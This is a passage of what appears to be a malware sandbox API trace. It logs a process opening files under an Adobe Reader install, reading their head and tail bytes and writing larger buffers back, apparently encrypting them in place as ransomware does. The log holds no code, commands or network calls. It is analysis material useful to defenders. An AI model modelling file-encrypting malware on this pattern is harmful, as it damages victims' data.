[0047.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NLD", lpUsedDefaultChar=0x0) returned 13 [0047.648] ReadFile (in: hFile=0x168, lpBuffer=0x3a284e8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a284e8*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.676] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.676] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.676] CloseHandle (hObject=0x168) returned 1 [0047.677] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.677] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.677] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.677] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.677] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.677] ReleaseMutex (hMutex=0x128) returned 1 [0047.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x1e789ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ESP", lpUsedDefaultChar=0x0) returned 16 [0047.678] ReadFile (in: hFile=0x168, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.699] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.699] WriteFile (in: hFile=0x168, lpBuffer=0x276c088*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c088*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.699] CloseHandle (hObject=0x168) returned 1 [0047.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.699] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.699] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.699] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.699] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.699] ReleaseMutex (hMutex=0x128) returned 1 [0047.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x1e786cc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SUO", lpUsedDefaultChar=0x0) returned 16 [0047.700] ReadFile (in: hFile=0x168, lpBuffer=0x2613698, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.720] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.721] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.721] CloseHandle (hObject=0x168) returned 1 [0047.721] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Flash.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\flash.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.721] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.722] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.722] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.722] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.722] ReleaseMutex (hMutex=0x128) returned 1 [0047.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HUN", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HUN", lpUsedDefaultChar=0x0) returned 9 [0047.722] ReadFile (in: hFile=0x168, lpBuffer=0x2613698, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.734] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.734] WriteFile (in: hFile=0x168, lpBuffer=0x1da9408*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.734] CloseHandle (hObject=0x168) returned 1 [0047.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\QuickTime.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\quicktime.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.735] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.735] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.735] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.735] ReleaseMutex (hMutex=0x128) returned 1 [0047.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUM", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUM", lpUsedDefaultChar=0x0) returned 13 [0047.735] ReadFile (in: hFile=0x168, lpBuffer=0x2613698, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.757] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.757] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.758] CloseHandle (hObject=0x168) returned 1 [0047.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.758] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.758] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.758] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.758] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.758] ReleaseMutex (hMutex=0x128) returned 1 [0047.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SLV", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SLV", lpUsedDefaultChar=0x0) returned 9 [0047.758] ReadFile (in: hFile=0x168, lpBuffer=0x3a464e8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a464e8*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.773] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.773] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.773] CloseHandle (hObject=0x168) returned 1 [0047.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.774] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.774] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.774] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.774] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.774] ReleaseMutex (hMutex=0x128) returned 1 [0047.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.UKR", lpUsedDefaultChar=0x0) returned 13 [0047.774] ReadFile (in: hFile=0x168, lpBuffer=0x2613698, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.801] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.801] WriteFile (in: hFile=0x168, lpBuffer=0x1da9408*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da9408*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.801] CloseHandle (hObject=0x168) returned 1 [0047.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.802] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.802] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x43a63 [0047.802] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.802] ReleaseMutex (hMutex=0x128) returned 1 [0047.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.api", cchWideChar=12, lpMultiByteStr=0x1e630ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.api", lpUsedDefaultChar=0x0) returned 12 [0047.802] ReadFile (in: hFile=0x168, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.821] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x42a63 [0047.821] ReadFile (in: hFile=0x168, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.856] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x42a63 [0047.856] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.856] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0047.856] WriteFile (in: hFile=0x168, lpBuffer=0x2805d28*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2805d28*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.856] CloseHandle (hObject=0x168) returned 1 [0047.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.857] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.857] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5798 [0047.857] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.857] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.857] ReleaseMutex (hMutex=0x128) returned 1 [0047.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tesselate.x3d", lpUsedDefaultChar=0x0) returned 13 [0047.857] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.881] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4798 [0047.881] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.888] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4798 [0047.888] WriteFile (in: hFile=0x168, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.888] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0047.888] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.889] CloseHandle (hObject=0x168) returned 1 [0047.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.889] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.889] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4aa [0047.889] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.889] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.889] ReleaseMutex (hMutex=0x128) returned 1 [0047.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x1e630cc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="create_form.gif", lpUsedDefaultChar=0x0) returned 15 [0047.889] ReadFile (in: hFile=0x168, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4aa, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x304f2bc*=0x4aa, lpOverlapped=0x0) returned 1 [0048.129] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0048.129] WriteFile (in: hFile=0x168, lpBuffer=0x1daa438*, nNumberOfBytesToWrite=0xa32, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1daa438*, lpNumberOfBytesWritten=0x304f2d0*=0xa32, lpOverlapped=0x0) returned 1 [0048.129] CloseHandle (hObject=0x168) returned 1 [0048.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.130] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.130] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x242 [0048.130] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.130] ReleaseMutex (hMutex=0x128) returned 1 [0048.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.gif", cchWideChar=8, lpMultiByteStr=0x1e62fcc, cbMultiByte=8, 